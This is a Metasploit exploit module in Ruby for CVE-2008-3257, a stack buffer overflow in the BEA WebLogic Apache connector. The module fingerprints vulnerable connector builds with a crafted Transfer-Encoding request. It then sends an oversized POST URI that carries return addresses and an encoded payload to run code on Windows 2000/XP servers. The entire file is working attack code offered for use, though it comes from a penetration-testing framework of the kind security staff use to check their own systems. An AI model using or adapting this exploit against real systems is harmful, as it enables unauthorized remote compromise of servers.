##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerprint = { :pattern => [ /Apache/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle Weblogic Apache Connector POST Request Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack based buffer overflow in the BEA
        Weblogic Apache plugin.

        The connector fails to properly handle specially crafted HTTP POST
        requests, resulting a buffer overflow due to the insecure usage
        of sprintf.  Currently, this module works over Windows systems without DEP,
        and has been tested with Windows 2000 / XP.

        In addition, the Weblogic Apache plugin version is fingerprinted with a POST
        request containing a specially crafted Transfer-Encoding header.
      },
      'Author'         =>
        [
          'KingCope', # Vulnerability Discovery and PoC
          'juan vazquez', # Metasploit Module
        ],
      'References'     =>
        [
          [ 'CVE', '2008-3257' ],
          [ 'OSVDB', '47096' ],
          [ 'BID', '30273' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Privileged'     => true,
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'    => 4000,
          'BadChars' => "\x00\x0d\x0a\x3f"
        },
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [  'BEA WebLogic 8.1 SP6 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
            {
              'Ret' => 0x10061f63, # push esp # ret # mod_wl_20.so
              'Offset' =>  4102
            }
          ],
          [  'BEA WebLogic 8.1 SP5 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
            {
              'Ret' => 0x10061473, # push esp # ret # mod_wl_20.so
              'Offset' =>  4102
            }
          ],
          [  'BEA WebLogic 8.1 SP4 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
            {
              'Ret' => 0x10020e31, # push esp # ret # mod_wl_20.so
              'Offset' =>  4102
            }
          ]
        ],
      'DisclosureDate' => '2008-07-17',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI path to a jsp or object provided by Weblogic', '/index.jsp']),
      ])

  end


  def check

    fingerprint = fingerprint_mod_wl
    print_status "#{rhost}:#{rport} - #{fingerprint}"

    case fingerprint
    when /Version found/
      return Exploit::CheckCode::Appears
    when /BEA WebLogic connector vulnerable/
      return Exploit::CheckCode::Appears
    when /BEA WebLogic connector undefined/
      return Exploit::CheckCode::Detected
    when /BEA WebLogic connector no vulnerable/, /BEA WebLogic connector not found/
      return Exploit::CheckCode::Safe
    end

  end

  def exploit

    # Autodetect BEA mod_wl version
    my_target = get_target

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("BEA mod_weblogic not supported")
      return
    end

    uri = normalize_uri(target_uri.path)
    sploit = rand_text_alphanumeric(my_target['Offset']-uri.length)
    sploit << [my_target.ret].pack("V")
    sploit << payload.encoded

    send_request_cgi({
      'method'  => 'POST',
      'uri'     => "#{uri} #{sploit}",
    })

    handler

  end

  def get_target

    return target if target.name != 'Automatic'

    fingerprint = fingerprint_mod_wl

    case fingerprint
    when /BEA WebLogic 8.1 SP6 - mod_wl_20.so/
      return targets[1]
    when /BEA WebLogic 8.1 SP5 - mod_wl_20.so/
      return targets[2]
    when /BEA WebLogic 8.1 SP4 - mod_wl_20.so/
      return targets[3]
    else
      return nil
    end

  end

  def fingerprint_mod_wl

    my_data = rand_text_alpha(rand(5) + 8)
    res = send_request_cgi(
        {
          'method'  => 'POST',
          'uri'     => normalize_uri(target_uri.path),
          'headers' =>
            {
              'Transfer-Encoding' => my_data
            },
          'data' => "#{my_data.length}\r\n#{my_data}\r\n0\r\n",
        })

    if res and res.code == 200 and res.body =~ /Weblogic Bridge Message/
      # BEA WebLogic 8.1 SP6 - mod_wl_20.so
      case res.body
      when (/Build date\/time:<\/B> <I>Jun 16 2006 15:14:11/ and /Change Number:<\/B> <I>779586/)
        return "Version found: BEA WebLogic 8.1 SP6 - mod_wl_20.so"
      # BEA WebLogic 8.1 SP5 - mod_wl_20.so
      when (/Build date\/time:<\/B> <I>Aug  5 2005 11:19:57/ and /Change Number:<\/B> <I>616810/)
        return "Version found: BEA WebLogic 8.1 SP5 - mod_wl_20.so"
      when (/Build date\/time:<\/B> <I>Oct 25 2004 09:25:23/ and /Change Number:<\/B> <I>452998/)
        return "Version found: BEA WebLogic 8.1 SP4 - mod_wl_20.so"
      # Check for dates prior to patch release
      when /([A-Za-z]{3} [\s\d]{2} [\d]{4})/
        build_date = Date.parse($1)
        if build_date <= Date.parse("Jul 28 2008")
          return "BEA WebLogic connector vulnerable"
        else
          return "BEA WebLogic connector not vulnerable"
        end
      else
        return "BEA WebLogic connector undefined"
      end
    end

    return "BEA WebLogic connector not found"

  end
end
